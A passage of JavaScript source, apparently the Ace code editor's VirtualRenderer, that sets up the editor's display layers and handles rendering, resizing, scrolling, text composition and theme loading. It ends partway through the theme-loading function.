dom.importCssString(editorCss, "ace_editor.css");
var VirtualRenderer = function(container, theme) {
var _self = this;
this.container = container || dom.createElement("div");
this.$keepTextAreaAtCursor = !useragent.isOldIE;
dom.addCssClass(this.container, "ace_editor");
this.setTheme(theme);
this.$gutter = dom.createElement("div");
this.$gutter.className = "ace_gutter";
this.container.appendChild(this.$gutter);
this.$gutter.setAttribute("aria-hidden", true);
this.scroller = dom.createElement("div");
this.scroller.className = "ace_scroller";
this.container.appendChild(this.scroller);
this.content = dom.createElement("div");
this.content.className = "ace_content";
this.scroller.appendChild(this.content);
this.$gutterLayer = new GutterLayer(this.$gutter);
this.$gutterLayer.on("changeGutterWidth", this.onGutterResize.bind(this));
this.$markerBack = new MarkerLayer(this.content);
var textLayer = this.$textLayer = new TextLayer(this.content);
this.canvas = textLayer.element;
this.$markerFront = new MarkerLayer(this.content);
this.$cursorLayer = new CursorLayer(this.content);
this.$horizScroll = false;
this.$vScroll = false;
this.scrollBar =
this.scrollBarV = new VScrollBar(this.container, this);
this.scrollBarH = new HScrollBar(this.container, this);
this.scrollBarV.addEventListener("scroll", function(e) {
if (!_self.$scrollAnimation)
_self.session.setScrollTop(e.data - _self.scrollMargin.top);
});
this.scrollBarH.addEventListener("scroll", function(e) {
if (!_self.$scrollAnimation)
_self.session.setScrollLeft(e.data - _self.scrollMargin.left);
});
this.scrollTop = 0;
this.scrollLeft = 0;
this.cursorPos = {
row : 0,
column : 0
};
this.$fontMetrics = new FontMetrics(this.container);
this.$textLayer.$setFontMetrics(this.$fontMetrics);
this.$textLayer.addEventListener("changeCharacterSize", function(e) {
_self.updateCharacterSize();
_self.onResize(true, _self.gutterWidth, _self.$size.width, _self.$size.height);
_self._signal("changeCharacterSize", e);
});
this.$size = {
width: 0,
height: 0,
scrollerHeight: 0,
scrollerWidth: 0,
$dirty: true
};
this.layerConfig = {
width : 1,
padding : 0,
firstRow : 0,
firstRowScreen: 0,
lastRow : 0,
lineHeight : 0,
characterWidth : 0,
minHeight : 1,
maxHeight : 1,
offset : 0,
height : 1,
gutterOffset: 1
};
this.scrollMargin = {
left: 0,
right: 0,
top: 0,
bottom: 0,
v: 0,
h: 0
};
this.$loop = new RenderLoop(
this.$renderChanges.bind(this),
this.container.ownerDocument.defaultView
);
this.$loop.schedule(this.CHANGE_FULL);
this.updateCharacterSize();
this.setPadding(4);
config.resetOptions(this);
config._emit("renderer", this);
};
(function() {
this.CHANGE_CURSOR = 1;
this.CHANGE_MARKER = 2;
this.CHANGE_GUTTER = 4;
this.CHANGE_SCROLL = 8;
this.CHANGE_LINES = 16;
this.CHANGE_TEXT = 32;
this.CHANGE_SIZE = 64;
this.CHANGE_MARKER_BACK = 128;
this.CHANGE_MARKER_FRONT = 256;
this.CHANGE_FULL = 512;
this.CHANGE_H_SCROLL = 1024;
oop.implement(this, EventEmitter);
this.updateCharacterSize = function() {
if (this.$textLayer.allowBoldFonts != this.$allowBoldFonts) {
this.$allowBoldFonts = this.$textLayer.allowBoldFonts;
this.setStyle("ace_nobold", !this.$allowBoldFonts);
}
this.layerConfig.characterWidth =
this.characterWidth = this.$textLayer.getCharacterWidth();
this.layerConfig.lineHeight =
this.lineHeight = this.$textLayer.getLineHeight();
this.$updatePrintMargin();
};
this.setSession = function(session) {
if (this.session)
this.session.doc.off("changeNewLineMode", this.onChangeNewLineMode);
this.session = session;
if (session && this.scrollMargin.top && session.getScrollTop() <= 0)
session.setScrollTop(-this.scrollMargin.top);
this.$cursorLayer.setSession(session);
this.$markerBack.setSession(session);
this.$markerFront.setSession(session);
this.$gutterLayer.setSession(session);
this.$textLayer.setSession(session);
if (!session)
return;
this.$loop.schedule(this.CHANGE_FULL);
this.session.$setFontMetrics(this.$fontMetrics);
this.scrollBarH.scrollLeft = this.scrollBarV.scrollTop = null;
this.onChangeNewLineMode = this.onChangeNewLineMode.bind(this);
this.onChangeNewLineMode();
this.session.doc.on("changeNewLineMode", this.onChangeNewLineMode);
};
this.updateLines = function(firstRow, lastRow, force) {
if (lastRow === undefined)
lastRow = Infinity;
if (!this.$changedLines) {
this.$changedLines = {
firstRow: firstRow,
lastRow: lastRow
};
}
else {
if (this.$changedLines.firstRow > firstRow)
this.$changedLines.firstRow = firstRow;
if (this.$changedLines.lastRow < lastRow)
this.$changedLines.lastRow = lastRow;
}
if (this.$changedLines.lastRow < this.layerConfig.firstRow) {
if (force)
this.$changedLines.lastRow = this.layerConfig.lastRow;
else
return;
}
if (this.$changedLines.firstRow > this.layerConfig.lastRow)
return;
this.$loop.schedule(this.CHANGE_LINES);
};
this.onChangeNewLineMode = function() {
this.$loop.schedule(this.CHANGE_TEXT);
this.$textLayer.$updateEolChar();
this.session.$bidiHandler.setEolChar(this.$textLayer.EOL_CHAR);
};
this.onChangeTabSize = function() {
this.$loop.schedule(this.CHANGE_TEXT | this.CHANGE_MARKER);
this.$textLayer.onChangeTabSize();
};
this.updateText = function() {
this.$loop.schedule(this.CHANGE_TEXT);
};
this.updateFull = function(force) {
if (force)
this.$renderChanges(this.CHANGE_FULL, true);
else
this.$loop.schedule(this.CHANGE_FULL);
};
this.updateFontSize = function() {
this.$textLayer.checkForSizeChanges();
};
this.$changes = 0;
this.$updateSizeAsync = function() {
if (this.$loop.pending)
this.$size.$dirty = true;
else
this.onResize();
};
this.onResize = function(force, gutterWidth, width, height) {
if (this.resizing > 2)
return;
else if (this.resizing > 0)
this.resizing++;
else
this.resizing = force ? 1 : 0;
var el = this.container;
if (!height)
height = el.clientHeight || el.scrollHeight;
if (!width)
width = el.clientWidth || el.scrollWidth;
var changes = this.$updateCachedSize(force, gutterWidth, width, height);
if (!this.$size.scrollerHeight || (!width && !height))
return this.resizing = 0;
if (force)
this.$gutterLayer.$padding = null;
if (force)
this.$renderChanges(changes | this.$changes, true);
else
this.$loop.schedule(changes | this.$changes);
if (this.resizing)
this.resizing = 0;
this.scrollBarV.scrollLeft = this.scrollBarV.scrollTop = null;
};
this.$updateCachedSize = function(force, gutterWidth, width, height) {
height -= (this.$extraHeight || 0);
var changes = 0;
var size = this.$size;
var oldSize = {
width: size.width,
height: size.height,
scrollerHeight: size.scrollerHeight,
scrollerWidth: size.scrollerWidth
};
if (height && (force || size.height != height)) {
size.height = height;
changes |= this.CHANGE_SIZE;
size.scrollerHeight = size.height;
if (this.$horizScroll)
size.scrollerHeight -= this.scrollBarH.getHeight();
this.scrollBarV.element.style.bottom = this.scrollBarH.getHeight() + "px";
changes = changes | this.CHANGE_SCROLL;
}
if (width && (force || size.width != width)) {
changes |= this.CHANGE_SIZE;
size.width = width;
if (gutterWidth == null)
gutterWidth = this.$showGutter ? this.$gutter.offsetWidth : 0;
this.gutterWidth = gutterWidth;
this.scrollBarH.element.style.left =
this.scroller.style.left = gutterWidth + "px";
size.scrollerWidth = Math.max(0, width - gutterWidth - this.scrollBarV.getWidth());
this.scrollBarH.element.style.right =
this.scroller.style.right = this.scrollBarV.getWidth() + "px";
this.scroller.style.bottom = this.scrollBarH.getHeight() + "px";
if (this.session && this.session.getUseWrapMode() && this.adjustWrapLimit() || force)
changes |= this.CHANGE_FULL;
}
size.$dirty = !width || !height;
if (changes)
this._signal("resize", oldSize);
return changes;
};
this.onGutterResize = function() {
var gutterWidth = this.$showGutter ? this.$gutter.offsetWidth : 0;
if (gutterWidth != this.gutterWidth)
this.$changes |= this.$updateCachedSize(true, gutterWidth, this.$size.width, this.$size.height);
if (this.session.getUseWrapMode() && this.adjustWrapLimit()) {
this.$loop.schedule(this.CHANGE_FULL);
} else if (this.$size.$dirty) {
this.$loop.schedule(this.CHANGE_FULL);
} else {
this.$computeLayerConfig();
this.$loop.schedule(this.CHANGE_MARKER);
}
};
this.adjustWrapLimit = function() {
var availableWidth = this.$size.scrollerWidth - this.$padding * 2;
var limit = Math.floor(availableWidth / this.characterWidth);
return this.session.adjustWrapLimit(limit, this.$showPrintMargin && this.$printMarginColumn);
};
this.setAnimatedScroll = function(shouldAnimate){
this.setOption("animatedScroll", shouldAnimate);
};
this.getAnimatedScroll = function() {
return this.$animatedScroll;
};
this.setShowInvisibles = function(showInvisibles) {
this.setOption("showInvisibles", showInvisibles);
this.session.$bidiHandler.setShowInvisibles(showInvisibles);
};
this.getShowInvisibles = function() {
return this.getOption("showInvisibles");
};
this.getDisplayIndentGuides = function() {
return this.getOption("displayIndentGuides");
};
this.setDisplayIndentGuides = function(display) {
this.setOption("displayIndentGuides", display);
};
this.setShowPrintMargin = function(showPrintMargin) {
this.setOption("showPrintMargin", showPrintMargin);
};
this.getShowPrintMargin = function() {
return this.getOption("showPrintMargin");
};
this.setPrintMarginColumn = function(showPrintMargin) {
this.setOption("printMarginColumn", showPrintMargin);
};
this.getPrintMarginColumn = function() {
return this.getOption("printMarginColumn");
};
this.getShowGutter = function(){
return this.getOption("showGutter");
};
this.setShowGutter = function(show){
return this.setOption("showGutter", show);
};
this.getFadeFoldWidgets = function(){
return this.getOption("fadeFoldWidgets");
};
this.setFadeFoldWidgets = function(show) {
this.setOption("fadeFoldWidgets", show);
};
this.setHighlightGutterLine = function(shouldHighlight) {
this.setOption("highlightGutterLine", shouldHighlight);
};
this.getHighlightGutterLine = function() {
return this.getOption("highlightGutterLine");
};
this.$updateGutterLineHighlight = function() {
var pos = this.$cursorLayer.$pixelPos;
var height = this.layerConfig.lineHeight;
if (this.session.getUseWrapMode()) {
var cursor = this.session.selection.getCursor();
cursor.column = 0;
pos = this.$cursorLayer.getPixelPosition(cursor, true);
height *= this.session.getRowLength(cursor.row);
}
this.$gutterLineHighlight.style.top = pos.top - this.layerConfig.offset + "px";
this.$gutterLineHighlight.style.height = height + "px";
};
this.$updatePrintMargin = function() {
if (!this.$showPrintMargin && !this.$printMarginEl)
return;
if (!this.$printMarginEl) {
var containerEl = dom.createElement("div");
containerEl.className = "ace_layer ace_print-margin-layer";
this.$printMarginEl = dom.createElement("div");
this.$printMarginEl.className = "ace_print-margin";
containerEl.appendChild(this.$printMarginEl);
this.content.insertBefore(containerEl, this.content.firstChild);
}
var style = this.$printMarginEl.style;
style.left = ((this.characterWidth * this.$printMarginColumn) + this.$padding) + "px";
style.visibility = this.$showPrintMargin ? "visible" : "hidden";
if (this.session && this.session.$wrap == -1)
this.adjustWrapLimit();
};
this.getContainerElement = function() {
return this.container;
};
this.getMouseEventTarget = function() {
return this.scroller;
};
this.getTextAreaContainer = function() {
return this.container;
};
this.$moveTextAreaToCursor = function() {
if (!this.$keepTextAreaAtCursor)
return;
var config = this.layerConfig;
var posTop = this.$cursorLayer.$pixelPos.top;
var posLeft = this.$cursorLayer.$pixelPos.left;
posTop -= config.offset;
var style = this.textarea.style;
var h = this.lineHeight;
if (posTop < 0 || posTop > config.height - h) {
style.top = style.left = "0";
return;
}
var w = this.characterWidth;
if (this.$composition) {
var val = this.textarea.value.replace(/^\x01+/, "");
w *= (this.session.$getStringScreenWidth(val)[0]+2);
h += 2;
}
posLeft -= this.scrollLeft;
if (posLeft > this.$size.scrollerWidth - w)
posLeft = this.$size.scrollerWidth - w;
posLeft += this.gutterWidth;
style.height = h + "px";
style.width = w + "px";
style.left = Math.min(posLeft, this.$size.scrollerWidth - w) + "px";
style.top = Math.min(posTop, this.$size.height - h) + "px";
};
this.getFirstVisibleRow = function() {
return this.layerConfig.firstRow;
};
this.getFirstFullyVisibleRow = function() {
return this.layerConfig.firstRow + (this.layerConfig.offset === 0 ? 0 : 1);
};
this.getLastFullyVisibleRow = function() {
var config = this.layerConfig;
var lastRow = config.lastRow;
var top = this.session.documentToScreenRow(lastRow, 0) * config.lineHeight;
if (top - this.session.getScrollTop() > config.height - config.lineHeight)
return lastRow - 1;
return lastRow;
};
this.getLastVisibleRow = function() {
return this.layerConfig.lastRow;
};
this.$padding = null;
this.setPadding = function(padding) {
this.$padding = padding;
this.$textLayer.setPadding(padding);
this.$cursorLayer.setPadding(padding);
this.$markerFront.setPadding(padding);
this.$markerBack.setPadding(padding);
this.$loop.schedule(this.CHANGE_FULL);
this.$updatePrintMargin();
};
this.setScrollMargin = function(top, bottom, left, right) {
var sm = this.scrollMargin;
sm.top = top|0;
sm.bottom = bottom|0;
sm.right = right|0;
sm.left = left|0;
sm.v = sm.top + sm.bottom;
sm.h = sm.left + sm.right;
if (sm.top && this.scrollTop <= 0 && this.session)
this.session.setScrollTop(-sm.top);
this.updateFull();
};
this.getHScrollBarAlwaysVisible = function() {
return this.$hScrollBarAlwaysVisible;
};
this.setHScrollBarAlwaysVisible = function(alwaysVisible) {
this.setOption("hScrollBarAlwaysVisible", alwaysVisible);
};
this.getVScrollBarAlwaysVisible = function() {
return this.$vScrollBarAlwaysVisible;
};
this.setVScrollBarAlwaysVisible = function(alwaysVisible) {
this.setOption("vScrollBarAlwaysVisible", alwaysVisible);
};
this.$updateScrollBarV = function() {
var scrollHeight = this.layerConfig.maxHeight;
var scrollerHeight = this.$size.scrollerHeight;
if (!this.$maxLines && this.$scrollPastEnd) {
scrollHeight -= (scrollerHeight - this.lineHeight) * this.$scrollPastEnd;
if (this.scrollTop > scrollHeight - scrollerHeight) {
scrollHeight = this.scrollTop + scrollerHeight;
this.scrollBarV.scrollTop = null;
}
}
this.scrollBarV.setScrollHeight(scrollHeight + this.scrollMargin.v);
this.scrollBarV.setScrollTop(this.scrollTop + this.scrollMargin.top);
};
this.$updateScrollBarH = function() {
this.scrollBarH.setScrollWidth(this.layerConfig.width + 2 * this.$padding + this.scrollMargin.h);
this.scrollBarH.setScrollLeft(this.scrollLeft + this.scrollMargin.left);
};
this.$frozen = false;
this.freeze = function() {
this.$frozen = true;
};
this.unfreeze = function() {
this.$frozen = false;
};
this.$renderChanges = function(changes, force) {
if (this.$changes) {
changes |= this.$changes;
this.$changes = 0;
}
if ((!this.session || !this.container.offsetWidth || this.$frozen) || (!changes && !force)) {
this.$changes |= changes;
return;
}
if (this.$size.$dirty) {
this.$changes |= changes;
return this.onResize(true);
}
if (!this.lineHeight) {
this.$textLayer.checkForSizeChanges();
}
this._signal("beforeRender");
if (this.session && this.session.$bidiHandler)
this.session.$bidiHandler.updateCharacterWidths(this.$fontMetrics);
var config = this.layerConfig;
if (changes & this.CHANGE_FULL ||
changes & this.CHANGE_SIZE ||
changes & this.CHANGE_TEXT ||
changes & this.CHANGE_LINES ||
changes & this.CHANGE_SCROLL ||
changes & this.CHANGE_H_SCROLL
) {
changes |= this.$computeLayerConfig();
if (config.firstRow != this.layerConfig.firstRow && config.firstRowScreen == this.layerConfig.firstRowScreen) {
var st = this.scrollTop + (config.firstRow - this.layerConfig.firstRow) * this.lineHeight;
if (st > 0) {
this.scrollTop = st;
changes = changes | this.CHANGE_SCROLL;
changes |= this.$computeLayerConfig();
}
}
config = this.layerConfig;
this.$updateScrollBarV();
if (changes & this.CHANGE_H_SCROLL)
this.$updateScrollBarH();
this.$gutterLayer.element.style.marginTop = (-config.offset) + "px";
this.content.style.marginTop = (-config.offset) + "px";
this.content.style.width = config.width + 2 * this.$padding + "px";
this.content.style.height = config.minHeight + "px";
}
if (changes & this.CHANGE_H_SCROLL) {
this.content.style.marginLeft = -this.scrollLeft + "px";
this.scroller.className = this.scrollLeft <= 0 ? "ace_scroller" : "ace_scroller ace_scroll-left";
}
if (changes & this.CHANGE_FULL) {
this.$textLayer.update(config);
if (this.$showGutter)
this.$gutterLayer.update(config);
this.$markerBack.update(config);
this.$markerFront.update(config);
this.$cursorLayer.update(config);
this.$moveTextAreaToCursor();
this.$highlightGutterLine && this.$updateGutterLineHighlight();
this._signal("afterRender");
return;
}
if (changes & this.CHANGE_SCROLL) {
if (changes & this.CHANGE_TEXT || changes & this.CHANGE_LINES)
this.$textLayer.update(config);
else
this.$textLayer.scrollLines(config);
if (this.$showGutter)
this.$gutterLayer.update(config);
this.$markerBack.update(config);
this.$markerFront.update(config);
this.$cursorLayer.update(config);
this.$highlightGutterLine && this.$updateGutterLineHighlight();
this.$moveTextAreaToCursor();
this._signal("afterRender");
return;
}
if (changes & this.CHANGE_TEXT) {
this.$textLayer.update(config);
if (this.$showGutter)
this.$gutterLayer.update(config);
}
else if (changes & this.CHANGE_LINES) {
if (this.$updateLines() || (changes & this.CHANGE_GUTTER) && this.$showGutter)
this.$gutterLayer.update(config);
}
else if (changes & this.CHANGE_TEXT || changes & this.CHANGE_GUTTER) {
if (this.$showGutter)
this.$gutterLayer.update(config);
}
if (changes & this.CHANGE_CURSOR) {
this.$cursorLayer.update(config);
this.$moveTextAreaToCursor();
this.$highlightGutterLine && this.$updateGutterLineHighlight();
}
if (changes & (this.CHANGE_MARKER | this.CHANGE_MARKER_FRONT)) {
this.$markerFront.update(config);
}
if (changes & (this.CHANGE_MARKER | this.CHANGE_MARKER_BACK)) {
this.$markerBack.update(config);
}
this._signal("afterRender");
};
this.$autosize = function() {
var height = this.session.getScreenLength() * this.lineHeight;
var maxHeight = this.$maxLines * this.lineHeight;
var desiredHeight = Math.min(maxHeight,
Math.max((this.$minLines || 1) * this.lineHeight, height)
) + this.scrollMargin.v + (this.$extraHeight || 0);
if (this.$horizScroll)
desiredHeight += this.scrollBarH.getHeight();
if (this.$maxPixelHeight && desiredHeight > this.$maxPixelHeight)
desiredHeight = this.$maxPixelHeight;
var vScroll = height > maxHeight;
if (desiredHeight != this.desiredHeight ||
this.$size.height != this.desiredHeight || vScroll != this.$vScroll) {
if (vScroll != this.$vScroll) {
this.$vScroll = vScroll;
this.scrollBarV.setVisible(vScroll);
}
var w = this.container.clientWidth;
this.container.style.height = desiredHeight + "px";
this.$updateCachedSize(true, this.$gutterWidth, w, desiredHeight);
this.desiredHeight = desiredHeight;
this._signal("autosize");
}
};
this.$computeLayerConfig = function() {
var session = this.session;
var size = this.$size;
var hideScrollbars = size.height <= 2 * this.lineHeight;
var screenLines = this.session.getScreenLength();
var maxHeight = screenLines * this.lineHeight;
var longestLine = this.$getLongestLine();
var horizScroll = !hideScrollbars && (this.$hScrollBarAlwaysVisible ||
size.scrollerWidth - longestLine - 2 * this.$padding < 0);
var hScrollChanged = this.$horizScroll !== horizScroll;
if (hScrollChanged) {
this.$horizScroll = horizScroll;
this.scrollBarH.setVisible(horizScroll);
}
var vScrollBefore = this.$vScroll; // autosize can change vscroll value in which case we need to update longestLine
if (this.$maxLines && this.lineHeight > 1)
this.$autosize();
var offset = this.scrollTop % this.lineHeight;
var minHeight = size.scrollerHeight + this.lineHeight;
var scrollPastEnd = !this.$maxLines && this.$scrollPastEnd
? (size.scrollerHeight - this.lineHeight) * this.$scrollPastEnd
: 0;
maxHeight += scrollPastEnd;
var sm = this.scrollMargin;
this.session.setScrollTop(Math.max(-sm.top,
Math.min(this.scrollTop, maxHeight - size.scrollerHeight + sm.bottom)));
this.session.setScrollLeft(Math.max(-sm.left, Math.min(this.scrollLeft,
longestLine + 2 * this.$padding - size.scrollerWidth + sm.right)));
var vScroll = !hideScrollbars && (this.$vScrollBarAlwaysVisible ||
size.scrollerHeight - maxHeight + scrollPastEnd < 0 || this.scrollTop > sm.top);
var vScrollChanged = vScrollBefore !== vScroll;
if (vScrollChanged) {
this.$vScroll = vScroll;
this.scrollBarV.setVisible(vScroll);
}
var lineCount = Math.ceil(minHeight / this.lineHeight) - 1;
var firstRow = Math.max(0, Math.round((this.scrollTop - offset) / this.lineHeight));
var lastRow = firstRow + lineCount;
var firstRowScreen, firstRowHeight;
var lineHeight = this.lineHeight;
firstRow = session.screenToDocumentRow(firstRow, 0);
var foldLine = session.getFoldLine(firstRow);
if (foldLine) {
firstRow = foldLine.start.row;
}
firstRowScreen = session.documentToScreenRow(firstRow, 0);
firstRowHeight = session.getRowLength(firstRow) * lineHeight;
lastRow = Math.min(session.screenToDocumentRow(lastRow, 0), session.getLength() - 1);
minHeight = size.scrollerHeight + session.getRowLength(lastRow) * lineHeight +
firstRowHeight;
offset = this.scrollTop - firstRowScreen * lineHeight;
var changes = 0;
if (this.layerConfig.width != longestLine)
changes = this.CHANGE_H_SCROLL;
if (hScrollChanged || vScrollChanged) {
changes = this.$updateCachedSize(true, this.gutterWidth, size.width, size.height);
this._signal("scrollbarVisibilityChanged");
if (vScrollChanged)
longestLine = this.$getLongestLine();
}
this.layerConfig = {
width : longestLine,
padding : this.$padding,
firstRow : firstRow,
firstRowScreen: firstRowScreen,
lastRow : lastRow,
lineHeight : lineHeight,
characterWidth : this.characterWidth,
minHeight : minHeight,
maxHeight : maxHeight,
offset : offset,
gutterOffset : lineHeight ? Math.max(0, Math.ceil((offset + size.height - size.scrollerHeight) / lineHeight)) : 0,
height : this.$size.scrollerHeight
};
return changes;
};
this.$updateLines = function() {
if (!this.$changedLines) return;
var firstRow = this.$changedLines.firstRow;
var lastRow = this.$changedLines.lastRow;
this.$changedLines = null;
var layerConfig = this.layerConfig;
if (firstRow > layerConfig.lastRow + 1) { return; }
if (lastRow < layerConfig.firstRow) { return; }
if (lastRow === Infinity) {
if (this.$showGutter)
this.$gutterLayer.update(layerConfig);
this.$textLayer.update(layerConfig);
return;
}
this.$textLayer.updateLines(layerConfig, firstRow, lastRow);
return true;
};
this.$getLongestLine = function() {
var charCount = this.session.getScreenWidth();
if (this.showInvisibles && !this.session.$useWrapMode)
charCount += 1;
return Math.max(this.$size.scrollerWidth - 2 * this.$padding, Math.round(charCount * this.characterWidth));
};
this.updateFrontMarkers = function() {
this.$markerFront.setMarkers(this.session.getMarkers(true));
this.$loop.schedule(this.CHANGE_MARKER_FRONT);
};
this.updateBackMarkers = function() {
this.$markerBack.setMarkers(this.session.getMarkers());
this.$loop.schedule(this.CHANGE_MARKER_BACK);
};
this.addGutterDecoration = function(row, className){
this.$gutterLayer.addGutterDecoration(row, className);
};
this.removeGutterDecoration = function(row, className){
this.$gutterLayer.removeGutterDecoration(row, className);
};
this.updateBreakpoints = function(rows) {
this.$loop.schedule(this.CHANGE_GUTTER);
};
this.setAnnotations = function(annotations) {
this.$gutterLayer.setAnnotations(annotations);
this.$loop.schedule(this.CHANGE_GUTTER);
};
this.updateCursor = function() {
this.$loop.schedule(this.CHANGE_CURSOR);
};
this.hideCursor = function() {
this.$cursorLayer.hideCursor();
};
this.showCursor = function() {
this.$cursorLayer.showCursor();
};
this.scrollSelectionIntoView = function(anchor, lead, offset) {
this.scrollCursorIntoView(anchor, offset);
this.scrollCursorIntoView(lead, offset);
};
this.scrollCursorIntoView = function(cursor, offset, $viewMargin) {
if (this.$size.scrollerHeight === 0)
return;
var pos = this.$cursorLayer.getPixelPosition(cursor);
var left = pos.left;
var top = pos.top;
var topMargin = $viewMargin && $viewMargin.top || 0;
var bottomMargin = $viewMargin && $viewMargin.bottom || 0;
var scrollTop = this.$scrollAnimation ? this.session.getScrollTop() : this.scrollTop;
if (scrollTop + topMargin > top) {
if (offset && scrollTop + topMargin > top + this.lineHeight)
top -= offset * this.$size.scrollerHeight;
if (top === 0)
top = -this.scrollMargin.top;
this.session.setScrollTop(top);
} else if (scrollTop + this.$size.scrollerHeight - bottomMargin < top + this.lineHeight) {
if (offset && scrollTop + this.$size.scrollerHeight - bottomMargin < top - this.lineHeight)
top += offset * this.$size.scrollerHeight;
this.session.setScrollTop(top + this.lineHeight - this.$size.scrollerHeight);
}
var scrollLeft = this.scrollLeft;
if (scrollLeft > left) {
if (left < this.$padding + 2 * this.layerConfig.characterWidth)
left = -this.scrollMargin.left;
this.session.setScrollLeft(left);
} else if (scrollLeft + this.$size.scrollerWidth < left + this.characterWidth) {
this.session.setScrollLeft(Math.round(left + this.characterWidth - this.$size.scrollerWidth));
} else if (scrollLeft <= this.$padding && left - scrollLeft < this.characterWidth) {
this.session.setScrollLeft(0);
}
};
this.getScrollTop = function() {
return this.session.getScrollTop();
};
this.getScrollLeft = function() {
return this.session.getScrollLeft();
};
this.getScrollTopRow = function() {
return this.scrollTop / this.lineHeight;
};
this.getScrollBottomRow = function() {
return Math.max(0, Math.floor((this.scrollTop + this.$size.scrollerHeight) / this.lineHeight) - 1);
};
this.scrollToRow = function(row) {
this.session.setScrollTop(row * this.lineHeight);
};
this.alignCursor = function(cursor, alignment) {
if (typeof cursor == "number")
cursor = {row: cursor, column: 0};
var pos = this.$cursorLayer.getPixelPosition(cursor);
var h = this.$size.scrollerHeight - this.lineHeight;
var offset = pos.top - h * (alignment || 0);
this.session.setScrollTop(offset);
return offset;
};
this.STEPS = 8;
this.$calcSteps = function(fromValue, toValue){
var i = 0;
var l = this.STEPS;
var steps = [];
var func = function(t, x_min, dx) {
return dx * (Math.pow(t - 1, 3) + 1) + x_min;
};
for (i = 0; i < l; ++i)
steps.push(func(i / this.STEPS, fromValue, toValue - fromValue));
return steps;
};
this.scrollToLine = function(line, center, animate, callback) {
var pos = this.$cursorLayer.getPixelPosition({row: line, column: 0});
var offset = pos.top;
if (center)
offset -= this.$size.scrollerHeight / 2;
var initialScroll = this.scrollTop;
this.session.setScrollTop(offset);
if (animate !== false)
this.animateScrolling(initialScroll, callback);
};
this.animateScrolling = function(fromValue, callback) {
var toValue = this.scrollTop;
if (!this.$animatedScroll)
return;
var _self = this;
if (fromValue == toValue)
return;
if (this.$scrollAnimation) {
var oldSteps = this.$scrollAnimation.steps;
if (oldSteps.length) {
fromValue = oldSteps[0];
if (fromValue == toValue)
return;
}
}
var steps = _self.$calcSteps(fromValue, toValue);
this.$scrollAnimation = {from: fromValue, to: toValue, steps: steps};
clearInterval(this.$timer);
_self.session.setScrollTop(steps.shift());
_self.session.$scrollTop = toValue;
this.$timer = setInterval(function() {
if (steps.length) {
_self.session.setScrollTop(steps.shift());
_self.session.$scrollTop = toValue;
} else if (toValue != null) {
_self.session.$scrollTop = -1;
_self.session.setScrollTop(toValue);
toValue = null;
} else {
_self.$timer = clearInterval(_self.$timer);
_self.$scrollAnimation = null;
callback && callback();
}
}, 10);
};
this.scrollToY = function(scrollTop) {
if (this.scrollTop !== scrollTop) {
this.$loop.schedule(this.CHANGE_SCROLL);
this.scrollTop = scrollTop;
}
};
this.scrollToX = function(scrollLeft) {
if (this.scrollLeft !== scrollLeft)
this.scrollLeft = scrollLeft;
this.$loop.schedule(this.CHANGE_H_SCROLL);
};
this.scrollTo = function(x, y) {
this.session.setScrollTop(y);
this.session.setScrollLeft(y);
};
this.scrollBy = function(deltaX, deltaY) {
deltaY && this.session.setScrollTop(this.session.getScrollTop() + deltaY);
deltaX && this.session.setScrollLeft(this.session.getScrollLeft() + deltaX);
};
this.isScrollableBy = function(deltaX, deltaY) {
if (deltaY < 0 && this.session.getScrollTop() >= 1 - this.scrollMargin.top)
return true;
if (deltaY > 0 && this.session.getScrollTop() + this.$size.scrollerHeight
- this.layerConfig.maxHeight < -1 + this.scrollMargin.bottom)
return true;
if (deltaX < 0 && this.session.getScrollLeft() >= 1 - this.scrollMargin.left)
return true;
if (deltaX > 0 && this.session.getScrollLeft() + this.$size.scrollerWidth
- this.layerConfig.width < -1 + this.scrollMargin.right)
return true;
};
this.pixelToScreenCoordinates = function(x, y) {
var canvasPos = this.scroller.getBoundingClientRect();
var offsetX = x + this.scrollLeft - canvasPos.left - this.$padding;
var offset = offsetX / this.characterWidth;
var row = Math.floor((y + this.scrollTop - canvasPos.top) / this.lineHeight);
var col = Math.round(offset);
return {row: row, column: col, side: offset - col > 0 ? 1 : -1, offsetX: offsetX};
};
this.screenToTextCoordinates = function(x, y) {
var canvasPos = this.scroller.getBoundingClientRect();
var offsetX = x + this.scrollLeft - canvasPos.left - this.$padding;
var col = Math.round(offsetX / this.characterWidth);
var row = (y + this.scrollTop - canvasPos.top) / this.lineHeight;
return this.session.screenToDocumentPosition(row, Math.max(col, 0), offsetX);
};
this.textToScreenCoordinates = function(row, column) {
var canvasPos = this.scroller.getBoundingClientRect();
var pos = this.session.documentToScreenPosition(row, column);
var x = this.$padding + (this.session.$bidiHandler.isBidiRow(pos.row, row)
? this.session.$bidiHandler.getPosLeft(pos.column)
: Math.round(pos.column * this.characterWidth));
var y = pos.row * this.lineHeight;
return {
pageX: canvasPos.left + x - this.scrollLeft,
pageY: canvasPos.top + y - this.scrollTop
};
};
this.visualizeFocus = function() {
dom.addCssClass(this.container, "ace_focus");
};
this.visualizeBlur = function() {
dom.removeCssClass(this.container, "ace_focus");
};
this.showComposition = function(position) {
if (!this.$composition)
this.$composition = {
keepTextAreaAtCursor: this.$keepTextAreaAtCursor,
cssText: this.textarea.style.cssText
};
this.$keepTextAreaAtCursor = true;
dom.addCssClass(this.textarea, "ace_composition");
this.textarea.style.cssText = "";
this.$moveTextAreaToCursor();
};
this.setCompositionText = function(text) {
this.$moveTextAreaToCursor();
};
this.hideComposition = function() {
if (!this.$composition)
return;
dom.removeCssClass(this.textarea, "ace_composition");
this.$keepTextAreaAtCursor = this.$composition.keepTextAreaAtCursor;
this.textarea.style.cssText = this.$composition.cssText;
this.$composition = null;
};
this.setTheme = function(theme, cb) {
var _self = this;
this.$themeId = theme;
_self._dispatchEvent('themeChange',{theme:theme});
if (!theme || typeof theme == "string") {
var moduleName = theme || this.$options.theme.initialValue;
config.loadModule(["theme", moduleName], afterLoad);
} else {
afterLoad(theme);
}
function afterLoad(module) {
if (_self.$themeId != theme)
return cb && cb();
if (!module || !module.cssClass)
throw new Error("couldn't load module " + theme + " or it didn't call define");
dom.importCssString(
module.cssText,
module.cssClass,
_self.container.ownerDocument
);
if (_self.theme)
dom.removeCssClass(_self.container, _self.theme.cssClass);
var padding = "padding" in module ? module.padding
: "padding" in (_self.theme || {}) ? 4 : _self.$padding;
if (_self.$padding && padding != _self.$padding)
_self.setPadding(padding);
_self.$theme = module.cssClass;
_self.theme = module;
dom.addCssClass(_self.container, module.cssClass);
dom.setCssClass(_self.container, "ace_dark", module.isDark);
if (_self.$size) {
_self.$size.width = 0;
_self.$updateSizeAsync();
}
